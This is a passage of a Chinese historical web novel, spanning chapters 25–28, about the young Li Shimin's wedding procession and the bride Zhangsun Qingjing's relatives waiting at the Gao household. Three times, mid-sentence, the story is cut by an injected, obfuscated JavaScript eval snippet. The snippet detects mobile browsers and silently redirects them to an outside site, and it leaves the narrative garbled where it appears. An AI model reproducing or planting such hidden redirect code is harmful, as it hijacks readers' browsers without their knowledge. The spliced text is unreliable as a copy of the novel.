高氏哼唱着童年的鲜卑语歌谣,歌声似乎当空而来,在窗棂上迸溅出千万道回声,如清风,似流水,穿行在回廊砖瓦间,萦回在脑畔心尖上。 这不是什么《子夜四时歌》《春江花月夜》,而是她的远亲齐神武帝最爱的《敕勒歌》。委婉的女声浅唱低吟,婉转至极的声音,苍凉慷慨的歌词,搭配出奇异的美感,以一种旁观者的纯真轻柔演绎出诸神时代崇高的忧伤。 于是长孙青璟便再也分不清梦境与现实。眼前是无边的苜蓿地,等待恋人归来的明艳少女,跨着高头大马衣锦还乡的戎装少年,被风吹开帷幔的突兀青庐,挂在马鬃上的紫色苜蓿花穗…… 就在这无限的安适与温情中,长孙青璟沉沉睡去。再次转醒时,天已拂晓。沉睡的暗蓝的天,半醒的紫色的云,殷红得逼人的霞就这样层次分明地排布在眼前…… 长孙青璟披上氅衣,深吸一口仲冬的寒气,鼻尖却还萦回着梦里真切的苜蓿香。 25. 亲迎 冬日的黄昏总是来得分外早,所以李家迎亲的队伍未时就出发了。 阳光并不耀目,却有些异乎寻常的活泼跳脱,一片片碎金好似潜翔许久终于跃出水面的游鱼,在李家迎亲的队伍中欢快地腾挪闪转。 清透的空气顿时荡漾出金色的涟漪,与銮铃、琵琶、箜篌共振。跌宕起伏的音符就这样荡漾在迎亲队伍中每一个人的心头。 作为媒人窦抗的侄女婿、新郎亲点迎亲人、李渊夫妇公认的李氏同辈宗亲最牢靠的兄长,李孝恭却从来没有这样烦躁过。 “你可以把怀里那对大雁给我。本来就捆紧了,准保逃不走。你现在一手挽辔,一手攥紧了大雁,快把大雁掐死了。这一对大雁怕是撑不到放生就要被捂昏过去了!”他试图耐心劝说与吉服、大雁和紧张抗争的从堂兄弟。 “这身爵弁服不舒服。刘娘子一定误把去年的尺寸交给了缝作匠……”新郎李世民抱怨着挪了挪身体,连坐骑也烦躁地嘶鸣来几声。 “头上也沉。”李世民一边抱怨一边询问,“兄长,我的簪导歪了吗?” 李孝恭感觉自己一辈子的耐性一半用在自己婚礼上,一半怕是用在堂弟的婚礼上:“没有歪。大喜日子不准胡说八道,礼服很合身,只是宽袍大袖你穿得少而已,到了高府多走几步路你就习惯了。不要疑神疑鬼!” “兄长,催妆诗的第一句是什么?昨晚我明明背熟的,现在又忘记了。”李孝恭还没来得及回答,骑马抢在队伍最前端的李道玄打了个恶作剧的呼哨,做了个鬼脸。 “有人还没见到新妇,就慌成这样子了;一会儿见着了,还不知吓成什么模样!”十一二岁的小郎君惊诧于自己一向崇拜的兄长此时竟有如许多的局促难看之处,顿感滑稽万分,发出不可置信的诘问。 “我没慌,你再胡说小心我揍你!”李世民从腰间抽出竹笏板吓唬李道玄。 他的反驳过于激动,导致怀中的大雁在彩色丝带的束缚之下仍然奋力挣扎。他只得放弃虚张声势地威胁幼弟,紧紧护住大雁。 “都不准吵!今日出门迎亲这些大小郎君,真是一个都靠不住——还有你长兄也靠不住!建成没有告诉你把催妆诗和却扇诗写在笏板上吗?”李孝恭扶着额头。 “没有,他昨天刚到大兴,一时兴起喝得烂醉。我和他都没有说上几句话。我阿娘说,孝恭兄长办事比毗沙门稳重,道宗和道玄模样比三胡周正。所以他们回不回来,于我们迎亲也无大碍。”这番坦率的说辞倒是让李孝恭舒怀大笑。 “谢叔母抬爱了。我差点忘了临行前她给我这个——接着!”他说罢将一个嵌有珊瑚珠的同心环扔给李世民,“宝石后的暗格里藏着绢布字条,到时照着念。” 在李世民接过同心环,打开暗格,记诵催妆诗的当口,李道玄匆匆下马,贴近白蹄乌,劈手夺雁,一气呵成。 被捆紧了喙、翅、腿的大雁扭了扭唯一自由的脖颈,庆幸自己居然还活着,就松松爽爽躺在小郎君的怀中,等待着被抛掷又被放生的曲折命运。 李世民这次似乎也没了火气,也没有再拿笏板吓唬这位自己亲自选中同去迎亲的堂弟,只是千叮万嘱:“道玄,你替我看管好大雁,不要有什么闪失。” 李道玄不悦地撇撇嘴,觉得自己心中无所不能的从堂兄今日变得分外婆妈与不可理喻,一路絮叨个没完,一点也不像往日那个运筹帷幄、胜券在握的兄长。他不禁有些失望和恍惚,被翻来覆去的询问烦到头痛时,李道玄甚至想一走了之——他只听父母说婚礼时愉快的、热闹的,并没有人告诉他新郎是拘谨的、不安的并把他也感染得忧心忡忡。 “结婚真是太可怕啦!可是我又不能弃兄长而去!”这个天真聪明的小顽童自宽自解,“一会儿到了高家,新妇的同族兄弟们一定准备好了竹杖给我们一个下马威。我兄长穿着这一身大袖爵弁,手中只剩竹笏。被人一拥而上围攻也不占上风,正是我大展拳脚的好时机!到时定不能让新娘家人看清了我们李家儿郎。” 想到名正言顺地为家族荣誉打架,十一岁的孩子莫名兴奋起来,挠了挠大雁的脖子,顺势将它装进镂空的箱箧中,置于鞍上,心情一下子从谷底迅速爬升到山巅。 李孝恭继续被连弩般无聊的问题扎得脑子嗡嗡直叫。 “兄长,你和大石阿姊成婚时,我那些窦家的表兄弟除了拿竹杖虚张声势还让你做什么来着?”李世民果然开始询问起年长者的婚礼经验。 “一生一次的事我哪里还记得?无非是弹琵琶,歌唱,舞剑,无甚新鲜事。你安心就是了。哪怕高家异想天开,要你展示丹青之技,也不用慌,自有阎家兄弟捉刀……”李孝恭皱了皱眉,“他们应该也想不出别的花样为难你了?除非喝酒——早知道就该把建成拖出来。论喝酒,我们四个加起来也不如他!” 迎亲诸兄弟一起笑了起来。 “不过高氏是斯文人家,该不会逼你喝酒……”李孝恭生怕又将堂弟吓得不知如何应对新妇家“下婿”花招,赶紧收口。 众人说笑了几个来回,李世民顿时觉得胸口舒展,吉服也不勒紧身体了:“好,那下婿看起来也不是很难应对。回府婚礼上弄新妇时,还望诸兄弟高抬贵手,不要为难长孙娘子。” “诸兄弟答应你不算数,弄新妇可是阿姊和嫂子们的绝活。我们这些郎君哪里管得住她们?”骈进的李道宗突然大笑不止,“兄长的狐狸尾巴终于露出来了不是?说来说去就是舍不得新娘吃苦!你先夺过她家的竹杖阵再替她说情好不好?” “我没替她求情!”本来走在在队伍前端羯鼓鼓手与琵琶手觉得队伍前进的速度太慢,便加快节奏,一路踏着拍子穿梭在队伍中,催促大家赶紧跟上。 “欲盖弥彰!你敢说没有偷偷与她一起逛过都会市、利人市,顺便看看合生、歌舞?”李道宗与堂兄开着并不算恶意的玩笑。 琵琶乐师转了个圈儿,诙谐的《鹊踏枝》曲调回荡在年轻郎君们中间。 李世民却有些警觉。他揣测王无锝是否与道宗透露了些隐情,又怀疑家中远亲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16041804|178809||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 长辈私下议论长孙青璟出逃之事,便忍不住辩解起来。 “我与她为数不多的相见,她的舅父、兄长皆在场!并不曾与她私会。与她成婚也是奉父母之命,六礼俱全。我可不准你空口无凭编排长孙娘子!” 曲项琵琶和竖头箜篌爆发出烦躁的声响,俏皮地回应李世民拉高的音调。李道宗心中一紧,急忙致歉道:“能被伯母赞许的娘子想必有她的过人之处,是弟覆窠无状了,兄长教训的是!” 一个并非有意追究,一个也是自知理亏。李道玄追着乐师们大声呼喊着:“这段《鹊踏枝》噼噼啪啪不好听,你们这些乐工快点使出看家本事,给我们弹奏一段西国龟兹乐助助兴!” “就你年纪最小,事情最多!”大家嗔怪道。兄弟几个终于不再紧张局促,而是相视而笑。 李世民发现自己睁眼说瞎话的本事也很了得,不过确实有难言的苦衷。若长孙青璟是个男子,他才不在意旁人非议自己与罪臣子弟交游,反倒引以为豪。把这位家道中落的公子引入自己那个交杂着贵戚、文人与市井恶少的奇怪社交圈也不在话下。 可既然长孙青璟是女子,情况便有有所不同。关于两人未婚时就相识的事情,知情之人愈少愈好。哪怕与母亲提及青璟,他也只是含糊其辞,竭力表现出一厢情愿的莽撞,免得母亲觉得青璟轻浮乖张。至于他那个三教九流的社交圈子,日后择机再设法令她融入就是。 他此时最反感的就是亲朋之间那些好事者关于两人暗通款曲的流言。他本来是无所谓的,只是想到有人在父母面前暗示青璟费尽心机蒙蔽了年轻郎君的双眼,欺骗他缔结一场百害而无一利的婚姻时,心中自然愤懑。 所以当李道宗顺口开了一个年轻人之间的寻常玩笑时,他的言辞有些过激。一个少女,在他一文不名、身处险境时,倾听他在书信中那些狂妄的梦想,苦闷的呓语,没有应付了事的敷衍,没有老气横秋的劝诫,她会担心他的处境,会共情他的苦闷,会执拗地栽种他送的花籽,会认真劝说他努力加餐饭。 哪怕她有那么一点道德瑕疵,也是情有可原,在他眼里甚至是可爱的。他当然不准任何人随意议论自己的未婚妻。 他下意识摸了摸唇沿,希望那里可以长出淡淡的髭须使他看起来少点稚气,更老成一些。 “青璟此时在做什么?梳妆——算了,她应该早就戴好花冠了,每个新娘子都会拿腔拿调假装化妆;一边剥核桃一边和女眷闲谈新郎——她那么害羞,才不会和别人说起我;看歌舞——她家一定请了歌舞班子,然后点一些老太太和小娘子爱看的剧目,对她简直是种折磨;或者,她会劝阻手执竹杖的族兄弟们对我下手轻一点?”年少的新郎马上否定了这个想法,“我怎么这么没出息呢,有一群孔武的兄弟在侧助阵,有什么好害怕的?怎么这种小事也需要新妇出马搭救?” 铜镲的回声在空中震荡,久久不曾停歇,偏西的金轮洒下一片细碎的水晶颗粒,在他眼前浮动跳跃,像几只挠人的猫爪子,倏忽间又隐去了。 26. 等待 长孙青璟佩戴着杂彩礼冠,端坐在正堂。一道简单的屏风阻隔了陪伴新娘的女眷和其他主宾。 高家虽然对婚事未大肆张扬,但是同族亲眷仍然有不少到场。 长孙敞既不想让婚礼太过扎眼,也不愿在李家面前太过寒酸。他既然默认高士廉为青璟养父,便也不愿令长孙氏子侄喧宾夺主。再三权衡之下,长孙敞只是带上自己与长兄长孙謩、次兄长孙炽的在京子女共同赴宴。 也不知是有意还是巧合,长孙安业陪同法驾一起去到洛阳,至今未归。庶出的幼弟无逸又被扔在永兴里无人管束,长孙敞便顺便将这个伶牙俐齿的侄子一起带来参加异母阿姊的婚礼。 王无锝信守承诺来到高府,既作为女方邀请的贵客,又准备在“下婿”时冒充长孙青璟族兄弟捉弄李世民。 王无锝自从龙首原一别,虽不敢将李世民与长孙青璟在龙首原见面的奇闻告诉长安的纨绔和游侠,又实在按捺不住躁动的分享欲,便半真半假地将自己知道的事情改头换面传扬出去,又经五陵恶少们添油加醋,故事就成了义女纾父难智脱樊笼,公子感仁孝固履婚约的传奇。 叛逆期的五陵少年们才不管皇帝因斛斯政奔逃一事迁怒多少人,他们只关心成就大义的罪臣养女,藐视皇权伸出援手的国公之子——这种只出现在史书上,传奇里,歌舞合生中的天作之合居然就在自己身边,那无论如何都需要去凑个热闹。 当然,如果恶少们能以新娘亲眷的身份为难一下平日里见识、武艺全都压着自己的一头的新郎,在他面前逞一下威风,自然更是锦上添花般地欢乐。 王无锝牵着自己设法替新娘赎回的猞猁“库直”,带着一串或擎着鹰鹞,或扛着贺礼的好事少年,手捧高士廉亲写的请帖,堂而皇之地以一张自抬身价的名刺进入高府。 长孙无忌在不甚气派的宅院门口接引着宾客,他依稀记得在哪里听说过王无锝其人,却又全然不记得此人与高士廉有何交集,但这人手中确有高士廉笔迹为证。 加之以飞禽走兽为贺礼,又言明助高家下婿、障车以壮声势,长孙无忌便自然而然地认为这是舅父高士廉贬谪之前的妙手安排。他谢过王无锝之后,便延请其拜见家中长辈。 女眷们环绕着年轻的新娘,谈笑戏谑着。少女们七嘴八舌地打听着新郎的家世、相貌、官职。 “新姨夫长相如何?是外祖父那种长相还是高治礼郎那种?”与青璟同龄的甥女王婉眨着眼好奇地问道。 长孙青璟眼见大姊瞪了女儿一眼,便执起团扇掩口笑道:“我哪里知道,他平日只是来拜会舅父与兄长,我与他并不熟识!” “你少诓骗我。”王婉笑道,凑近了长孙青璟。“我们都听说了,新姨夫因高治礼郎被斛斯政牵连一事,放弃了伴驾的大好前程,连夜从东都疾驰回西京,分别拜会了高先生和休明叔祖父,直言愿意履行儿时婚约,做媒的可是万安公主的长子窦道生?”面对半真半假的传言,长孙青璟有些哭笑不得,一时又插不上嘴。 “哪里来的诞妄无稽之谈?”长孙青璟淡然一笑,“你可不要再传了。” “说起这个婚约,我父亲居功至伟。”长孙青璟的堂姊——长孙炽之女青瑜本来正与高家两代四位女眷闲聊,见堂姊之女与堂妹说笑,便顺便说起掌故:“我父亲倒是一直赏识唐国夫人明睿不凡,曾断言她会生下奇子。还劝叔父与李家结亲。如今看来,新郎倒是真的很有乃母之风。小妹也所托得人!” 因长孙安业费尽心机赶走继母与幼弟幼妹,长孙氏诸女眷难免心中有愧。由利害关系不大的长孙青瑜口中说出这番话,不但提醒长孙青璟勿忘本家,也隐含着交好唐国公的意愿。 “阿娘这话说得好不公平,李世民明明像他父亲一样精于骑射,你们却只夸他像唐国夫人!”长孙青瑜之子李大志从分隔男女宾客眷属的屏风后探出头。 “上次相约打猎时,阿耶也在场,对他赞不绝口!”李大志的兄长大慧也竭力回护好友。这些年轻人并不知道窦夫人年少时规劝皇帝的那番谏言,只是觉得夸赞一位郎君不说他勇武,一味说他像母亲,实在算不得褒奖,故而要在母亲长孙青瑜面前为好友争上一争。 “大志,大慧,你们两个覆窠之徒,怎么偷听娘子们闲谈?还直呼未来姨夫名讳!该打!”王婉假意从茵褥上坐起,要去追打两位表兄弟。 “阿婉,不要在长辈们面前造次!”长孙晟长女惠琼方与继母高氏说些自己出嫁前的旧事以示亲近,看到王婉举止促狭,便厉声喝止。 “啊,你这个外孙女我喜欢。”一直不对任何少男少女作出臧否的郑老夫人突然微笑着对高氏说,“快意、明朗!很合高家人的胃口。” 这位年近七旬的老舅母午后才由长孙无忌从终南山的尼寺中接来高家新宅,一时沉浸在高士廉遭贬谪的愁绪和车马劳顿的困倦中,昏昏欲睡了有顷才回过神来。 往常一直逗她开心的长孙青璟身着吉服,头戴杂彩礼冠,动转不能;长孙无忌疲于应付赴宴的亲友,不敢怠慢一人,席不暇暖。 老王妃与高老夫人、鲜于氏、高氏坐聊时,环顾寒酸的新宅,想起当年邺城繁盛,不免悲从中来,又无人将她从这种抑郁中拉出来。 王婉与高家并无血缘,但是活泼明艳的模样恰似另一个长孙青璟,让郑老夫人想起自己无忧无虑的少女时代,不由生出亲近之意,心情也如邺城的天空一般明朗,甚至不吝惜溢美之词。 郑老夫人年轻时就是邺城贵夫人圈里的社交圈的中心,哪怕与青灯古佛相伴多年,依然不乏活跃气氛的能耐。诸位女眷纷纷开始夸赞王婉的相貌性格,甚至打听是否许字人家。 王婉向着善意的长辈们腼腆致意,低头假意整理时兴的翻荷髻,磨磨蹭蹭在屏风后转了一圈,又敛衽坐在青璟身边。她一手支着脸颊,歪头笑盈盈地说道:“总之,王氏众姊妹提及姨母这门婚事,没有不欣羡的。这样秉礼尚义的郎君怕是可遇而不可求!” 她牵着青璟宽大地衣袖,撒娇似地说道:“姨母,跟我说说他的掌故嘛!” “我跟他不熟。”青璟依旧柔柔地说道,“你一会儿就见着了。” “既然你嘴那么紧……”王婉挑着眉毛,有些挑衅地说道,“那甥女可要好好捉弄他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16041805|178809||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,令他催妆数十次也不为过!”她被自己天才般的点子逗乐了,兴奋地击掌,希望这不痛不痒的“恐吓”撬开长孙青璟的嘴。然而王婉的问询又一次落空了。 “一切都随你。”青璟故作淡然地照了照眼前的铜镜,有点担心新上的妆饰晕染,唯恐杂彩花冠上的玉石脱落,又怕惹人笑话,迅速转头继续听大家闲谈。 郑老夫人听得大家对新郎交口称赞,本来对这门仓促婚事的隐忧也烟消云散。她估摸着十六岁的少年哪怕长相平庸,没有勋位官职傍身,就凭年幼时的口头婚约与高士廉的忘年之交承担起照顾孤女的责任,也有其可圈可点之处,心中也对他多了几分敬重。 虽说新郎母亲曾经是宇文邕养女的身份令郑夫人轻微不适与腹诽,但是长孙青璟在铜镜中舒心的笑靥很快抚平了她的不平之气。 过去的就让它过去吧。宇文邕在郑夫人心中的讨厌程度还不到高纬的十之一二——当然在座的所有主宾莫不不讨厌这个昏聩嗜杀的后主,否则高氏一族的命运也不至于局促至此。郑老夫人呷一口酪浆,透过屏风,看到了喧闹欢腾、令人啼笑皆非的场景。 “这次我演兰陵王,你们演周军。” “我不演周军,我要演斛律光!” “戏里没有斛律光。” “不要吵,小郎君们轮流演兰陵王,都不准霸占着面具不放!” 长孙氏、王氏,张氏辈分不同、年龄相仿的男童聚在一起,蹦跳着抢夺代面舞最夺目的道具。 这些胜利者的后代似乎忘记了自己是那支围困金墉城的军队的继承人。当然,谁也不能阻止少年们崇拜力挽狂澜于既倒的孤胆英雄,哪怕这位英雄是功勋在身的祖先的敌人。 “哼!你们把面具戴上,不要摘,你们这些人本来就长得平庸!突然摘面具分毫不好看!”冷眼旁观有顷的长孙无逸面对叽喳的同龄人做着不留情面的点评。 堂屋里一时安静的可怕,随即陷入了更大的混乱。 “长孙无逸是个满口毒牙的读书汉!” “长孙无逸是个嘴臭的醋大!”男孩子们不悦地指责和咒骂着。 “他嘲讽我们长得丑,无状至极。打他!打他!” “打就打,你们不准耍赖,一个一个跟我过招。” 长孙敞正与从弟长孙操,侄女婿李客师,王韶等人下陆博棋,听得小侄子胡言乱语,心中深恨长孙安业对幼弟疏于管教,导致这孩子牙尖嘴利不知收敛,缺乏世家子弟的心胸气度。与其殉国的长兄长孙行布,早逝的次兄长孙恒安,乃至高士廉照拂长大的四兄长孙无忌简直有云泥之别。他决定权且替过世的兄长教训这孩子。 就这样,长孙无逸的脑门被叔父长孙敞凿了几下,其他孩子的怒气才平息。 “小孩子打闹,叔父不必过于在意,让他们自己辩个胜负,辩不过就打个胜负,那些嘴笨和身子弱的自然就得了教训!这为人处事的道理自然也就记在心上了。”李客师劝道。 “你说新郎现在到哪里了?他们李家多少人来迎亲?”长孙青瑜靠近六博棋盘,自言自语道,“我须得提前把门堵上。” 27. 意外 年长的郎君们不再理睬胡闹的孩童们,任他们自生自灭玩到头破血流,继续喝着荥阳窟春酒,在屏风另一侧掷彩杀枭,等待李家迎亲的车队。 大家顺便聊聊高句丽的战事,皇帝的龙舟水殿,洛阳的繁华奢靡,也偷偷叹息徭役繁重,民怨沸腾。说到兴起处,大家开始毫不避讳地问起韩世谔参与杨玄感之乱后离奇失踪一案,李客师也是毫无头绪;提到修运河一事,两位长孙家的女婿与叔父们又是莫衷一是。王、李二人多有谤讥,长孙敞与长孙操对今上多有回护。 长孙操甚至移开陆博棋盘,蘸酒在案上勾勒出杨广的宏图伟业,向众人解释未来的种种便利。 “堵在河道里的白骨,龙舟底下的尸体可没有未来。”李客师认真地听完,耿直地回答。 “如果那些可怕的传闻是真的……”长孙操拂去酒渍,尴尬地说,“陛下本不必急于求成。” 长孙青瑜在屏风的另一侧咳嗽了数声,提醒丈夫、姊夫与叔父诸人不要再谈论下去了。 郎君们才发现今日的话题越界了,一者不适宜在婚礼上讲,再者就怕隔墙有耳,被哪个卖主求荣的奴仆告了官,抑或被嘴巴不紧的宾客传扬出去就大为不妙了。 也不知有意无意,在几个成年人为了运河徭役争论不休的当口,李大志横抱琵琶,弹起了齐朝龟兹乐,切切嘈嘈甚是动人。 一群男孩恶作剧似的聚在李大志周围,开始用齐朝龟兹的调子哼唱《捉搦歌》:“黄桑柘屐蒲子履,中央有丝两头系。小时怜母大怜婿,何不早嫁论家计。” 李客师与长孙青瑜夫妇不约而同松了口气,感慨傻儿子虽然格调不高,好歹学会给父母解围了,也算有可圈可点之处。 王婉蹙眉道:“曲子倒是中听!可这是什么不要脸的歌词!喂,大志,你不要脸的嘛!” “不要了。”琵琶弦上的笏板加重了力道。 长孙青璟轻声道:“大志有急智,定是叔父和姊夫几个又不好好下棋,开始妄议朝政了——” “孩子们图一开心,随他们唱吧。”高夫人笑道。 “年轻的娘子们信不信,我们年轻时在邺城,弹得比他们还难听,唱得比他们还疯癫。”郑夫人摇了摇身子半倾的高老夫人,“对吧,婶母。” “我不信,除非你们两位老人家亲自弹唱给我们开开眼界!”鲜于夫人初时被妊娠反应折磨得开不了口,陪着老夫人们坐了许久,身体略微舒爽了一些,便恢复了活泼的性子。 “不对,我比你文雅多了。”高老夫人精神矍铄地反驳郑夫人。 大家一起陪着笑,开始说起新郎家的掌故,诸如窦夫人六岁时劝谏周武帝善待突厥皇后,唐国公七岁袭爵深受文献皇后宠爱。 昔日的兰陵王妃心中不再着相,嘴上却不愿输了高家的气势:“你们都道新郎万般好,这固然不错。可是我们家阿璟无论出身、相貌、才学乃至仁孝之心也堪与之匹敌,哪里配不上他了?阿璟,你切不可妄自菲薄!” 长孙青璟调皮地向郑夫人欠身道:“我自然听舅母的。让阿彩为我多费些时间化妆面,让新郎一行好生等着,我就在家多赖片刻也好。” “郑老夫人教训的是,一会儿我诸兄弟定在下婿时好好捉弄新郎,决计不让他轻易将阿姊接了去。”长孙无逸从屏风另一边探出头,郑重立誓道。 众人嘲笑道:“要是仰仗你堵门,你阿姊早被人接走了!” 长孙青璟却想着如何让人给李世民递送一张便签,提醒他高抬贵手,下婿时不要反夺竹杖伤了今日来为自己这一介落魄孤女的亲眷与贵客们。 高氏、长孙氏众位宾客正谈笑间,忙于迎宾的长孙无忌延请王无锝前来正堂拜见长辈。小郎君们见到两人身后的猞猁“库直”,一时激动不已,便抛下大面、琵琶,蜂拥而上逗弄这威风凛凛的狩猎帮手。 王无锝自称高治礼郎小友,特来贺喜。众人感怀他在高家落难之际对参加高氏养女的婚礼一事毫不介怀,对他自然多了一份敬意。再加上无忌特意提及王无锝千辛万苦追回险些被商贩运出大兴的“库直”一事,席间众人更是感激他对高士廉的一番厚谊,谁还去理论他是太原王氏、琅琊王氏还是乌丸王氏的子弟。 长孙青璟对王无锝那些半真半假的言谈一笑置之,也暗暗赞他的用心良苦。总之这位借舅父身份邀请而来的客人着实给自己挣足了体面。 高老夫人谢过王无锝,便邀他入席一同等候新郎。王无锝却向行障内新娘所居之处作了一揖,朗声喊道:“闻长孙娘子贤德高义,某与治礼郎有约,于娘子吉礼之日送上一份大礼!” 众人正疑惑不解时,王无锝从怀中将出一只橘色鸟雀,长啸一声将其放飞。一道金色的光束跃入行障,在屋中盘桓数圈,令人不禁想起传说中神异的凤凰。 “罗浮凤!”李客师惊呼道。 众人都知有着“鸟贼”这不雅绰号的李客师识遍天下珍禽,想引起他的惊叹极不容易,可见这位王公子满载诚意而来。 巴掌大的罗浮凤闪着火焰的光泽,对一众花团锦簇的女眷的衣饰挑挑拣拣之后,便收敛翅膀落到新娘怀中。 “这是年幼的凤凰吗?”长孙青璟小心翼翼地捧起娇贵的罗浮凤,轻抚它光洁闪亮的后背,搔挠它粉白的肚腹。“你真漂亮!” “它好像被训练得能寻到最像花树之处。”王婉凑上前来,拨弄着罗浮凤收紧的尾翼,“这只小凤凰认定你是它的梧桐树呢!” 罗浮凤被拨弄得难受,不悦地向王婉的手指啄去。王婉收回手指,轻轻点了点罗浮凤的脑袋:“真泼辣!当心把你关进笼子里!” 罗浮凤回头用喙梳理了一下羽毛,在长孙青璟掌中扑棱数下,绕着新娘的杂彩头冠盘旋数匝,稳稳落在头冠顶部,似乎它本是头冠的顶端最美的部分。 “这鸟雀虽小,倒是很有灵性,一下子就找到来这屋子里最漂亮的娘子。”鲜于夫人慨叹道。 众位宾客啧啧称奇时,堂屋外传来长孙无逸等一众小郎君的喧嚷之声。 “你抱紧它呀,别让它乱窜!” “我太轻压不住它。” “抓住它尾巴。” “尾巴又短又滑,哪里抓得住!” “呀!你们把猞猁吓跑了!” “来人,抓住草上飞!不对,抓住库直。它往正堂冲去了。” “阿姊,爷娘,叔父!猞猁发疯了!” 紧接着,一团巨大的棕黄色绒毛便猝不及防地闯进了正堂,蹭翻了棋盘,带倒了杯盏,踩烂了滚落一地的花色 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16041806|178809||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 菓子,留下满屋狼藉和惊叫。 瘦了一圈的“库直”熟络地绕过行障,呜呜悲鸣着扑向长孙青璟。 这只棕黄的大猫过于热情地刮蹭着小女主人的脸,又委屈地蜷缩在长孙青璟怀里。 罗浮凤见来者不善,便在礼冠上翩跹起舞,伺机逃离猞猁不怀好意的趾爪,倏忽间消失无踪。再次出现在宾客面前的时候,它停驻于房梁之上,倒挂着冷眼旁观。 “啊,你这个善妒的小娘子,你这只居心叵测的狸奴,就是容不得漂亮的罗浮凤,一定要将它撵走才罢休吗?”青璟开心地搓揉猞猁不再圆润的脸颊,满心都是失而复得的欢悦与庆幸。少女发亮的脸庞和那一团棕黄的绒毛贴合在一处。 长孙无忌进入行障,强行拖走猞猁。长辈们看到长孙青璟头顶歪斜的杂彩礼冠,脸上模糊不清的额黄,靥妆处花钿掉落无着,不禁笑骂这畜生坏事。 母亲高氏赶紧吩咐婢女阿彩重新为新娘化妆。 “亲迎时总须有些无伤大雅的意外,才能让新婚夫妇牢记一世。”高老夫人唯恐有人抱怨不吉利,便抢先开解众人。一生经历了诸多风浪的高家女子们倒也丝毫没有慌乱,一副等闲视之的潇洒作派。 长孙青璟深以为然。 席间唯一有些丧气的就是昨夜去李家铺陈毡帐,今日又第二次为顽皮的新娘化妆的婢女阿彩。她似乎被抽去筋骨,倦意弥漫到四肢百骸。 长孙青璟知她疲惫,便捏了捏这聪慧婢女的手背:“对不住了,阿彩。我这次绝不乱动。啊,我想起来了,我吉礼的青庐是你亲自布置的,一定美不胜收。” 阿彩被小娘子的一番体己言语哄得感奋不已,强打起精神为青璟拭去旧妆容,均匀涂抹龙消粉,随后细细描摹额黄、妆靥,勾勒出柳眉,晕染出斜红。 高夫人与鲜于夫人悄然立于阿彩身后,指点说笑着。 “猞猁这一扑,倒是令阿彩福至心灵,新娘子的妆面越发神采逼人呢!”鲜于夫人取过铜镜,正对着长孙青璟托举着。 长孙青璟被阿彩固定了头颈的位置,只能以余光瞥过铜镜,看得并不真切,只是合着双唇用含混不清的声音附和着长辈们的赞美。 此时,堂屋内短暂的混乱结束了。猞猁被栓在了后园,罗浮凤被收进了鸟笼,地板被重新清理,棋盘杯盏又恢复了初时的模样。 上了年纪的郎君们免不得又聊起谁家遭左迁右迁,谁家被夺爵削官;精力无穷的孩童们做起了投壶游戏;已婚的娘子们开始回忆自己婚礼上的趣闻,未婚的少女品评着新娘此番新妆容。喧嚣中弥漫着一种不可言说的焦灼、烦躁。 “诸位郎君娘子,迎亲车队快到了!”在坊门守候多时的家仆飞奔回报。 “小郎君们!”长孙青瑜的呼喊里也带着笑意,“一人拿一根竹杖,把大门堵紧了!” “堵门咯!” “给新郎一个下马威咯!” “谁不敢上前自己罚酒三杯!” 这些顽皮到人憎狗嫌的男孩子终于有了用武之地,手执竹杖撒着欢去阻拦接亲的队伍。 “等等,新娘还没点唇、贴花钿呢!”这真是阿彩人生最为窘迫与无奈的时刻。 竹杖的击打声,孩子的笑闹声吞没了小婢女的焦灼不安。 28. 下婿 阿彩一时百爪挠心,在妆箧中翻找出几片鲥鱼鳞片和一盒鱼鳔胶。 她举起剪刀,一时不知该选择何种纹样。 “我要鹿韭,就是牡丹——花钿就剪成那个模样。”长孙青璟灵光乍现,“那支干花你见过的,就在妆奁底下。” “小祖宗你可不要再乱动了……”阿彩向着准备亲力亲为寻找牡丹花干的长孙青璟双手合十祈求道。 沉重的头冠限制了她的行动,王婉翻出脱水却不脱灵气的牡丹给阿彩过目。阿彩略一思索,便开始在鲥鳞上剪裁出写意的牡丹形状。 眼尖的王婉发现了端倪:“这是禁苑里的牡丹,我在叔祖父那里见过几支主上所赐的。不知是哪位贵人送给姨母的?” 长孙青璟挑了挑眉道:“记不真切了,许是洛阳那边的高氏亲友所赠。” “我才不信。”王婉搓捻着花茎,慎重地收进妆箧之中。“只有洛阳宫中有地火养牡丹……最近去过洛阳宫、还有兴致捎带牡丹给你的就只有你的夫君了。他对你用情至深嘛!” “多管闲事!”长孙青璟意欲伸手戳王婉的胸口,却被阿彩喝止。 “娘子勿动!”精巧的牡丹花钿后被涂抹了一层鱼鳔胶,阿彩朝着花钿呵一口气,将指甲大小的牡丹花钿贴在长孙青璟眉心。 